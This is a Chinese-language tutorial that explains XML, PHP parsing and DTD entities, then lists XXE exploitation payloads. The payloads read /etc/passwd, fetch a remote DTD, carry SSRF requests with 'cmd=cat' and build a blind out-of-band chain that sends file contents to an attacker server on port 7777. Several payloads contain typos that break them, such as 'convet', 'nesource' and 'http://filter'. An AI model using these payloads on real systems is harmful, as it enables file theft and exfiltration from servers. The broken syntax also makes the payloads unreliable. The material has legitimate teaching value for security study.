XXE讲解
XML语言基础
XML的标签对大小写敏感。
XML必须正确的嵌套。
<root>
<hero>
<name>妲己</name>第0个节点
<jineng>爱心</jineng>
</hero>
<hero>
<name>亚瑟</name>第二个节点
<jineng>旋转</jineng>
</hero>
</root>
在文件中用到大于号和小于号,使用CDATA[]包裹起来即可,包裹之中的大于号和小于号就不会被当作功能性符号执行。
使用PHP执行XML文件
<root> <man> <name>程咬金</name> <age>2000</age> </man> <man> <name>赵云</name> <age>1700</age> </man> </root>
simplexml_load_file()函数
<?php
$xml = simplexml_load_file('3.xml');
echo $xml->man[0]->name;
?>
domdocument()函数
<?php
$xml = new domdocument();//实例化
$xml->load('3.xml');//加载文件
print_r($xml->saveXML());
?>
<?php
$xml = new domdocument();//实例化
$xml->load('3.xml');//加载文件
$age = $xml->getElementsByTagName('age')->item(1)->nodeValue;//读取对应的内容
$name = $xml->getElementsByTagName('name')->item(0)->nodeValue;
echo $age;
echo $name;
?>
混合使用
<?php
$xmlfile = file_get_contents('3.xml');
$xmlDoc = new DOMDocument();
$xmlDoc ->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($xmlDoc);
$name = $creds->man[1]->name;
print $name;
?>
内部的DOCTYPE声明
使用DOCTYPE标签,对xml文件起约束作用。
内部声明:
<!DOCTYPE root[
<!ELEMENT root (man)>//root中只能是man
<!ELEMENT man (name,age)>//man中只能有name和age
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
]>
外部声明:
在之后构造payload时不要有回车,不要换行。
<!DOCTYPE [
//外部声明
<!ENTITY ben SYSTEM "file:///etc/passwd">
]
实体
普通实体
<!DOCTYPE root[
<!ENTITY ben "dazhuang">
<!ENTITY lao6 SYSTEM "http://www.baidu.com/robots.txt">
]>
<root>
<man>
<name>wo shi &ben;</name>
</man>
</root>
调用的时候使用&+ben+;
参数实体
参数实体使用%,而不是&。
<!DOCTYPE root[
<!ENTITY % ben "dazhuang">
<!ENTITY % lao6 SYSTEM "http://192.168.1.151/1.dtd">//1.dtd里面参数san
%lao6//调用参数实体
]>
<root>
<man>
<name>wo shi &san;</name>
</man>
</root>
XXE常见利用手法
file被过滤
有回显
使用参数,去别的文件获取到恶意代码。
不同的方法:
1、利用参数实体检索文件
2、利用XXE命名实体及外部实体读取文件
1.dtd文件 <!ENTITY ben SYSTEM "file:///etc/passwd">
传参 <!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://192.168.1.151/1.dtd"> %xxe;]>
这样就可以获取到网站的一些文件。
3、利用XXE进行SSRF漏洞利用
<!doctype root [<!ENTITY xxe SYSTEM "http://192.168.1.6:18091/?cmd=cat /etc/passwd"]>
4、使用XXE利用php伪协议读取文件
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=/etc/passwd">]>
5、php伪协议配合SSRF
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/read=convet.base64-encode/nesource=http://192.168.1.6:18091/?cmd=cat index.php">]>
无回显
1、a,参数实体,读取/etc/passwd
2、b,普通实体,http://kali_ip/%a;
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "http://filter/read=convert.base64-encode/resource=/etc/passwd"><!ENTITY req SYSTEM "http://192.168.1.151/%xxe;">]> 因为普通实体里面不能调用参数实体,所以需要构造。
1.dtd文件 <!ENTITY % file SYSTEM "php://filter/read=convert.base-encode/resource=file:///etc/passwd"><!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.1.151:7777?p=%file;'>">
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://192.168.1.151/1.dtd">%remote;%int;%send;]> 参数实体会触发调用1.dtd的内容。 7就是指%
打开http公网的服务,监听7777端口,再进行访问,即可查看内容。
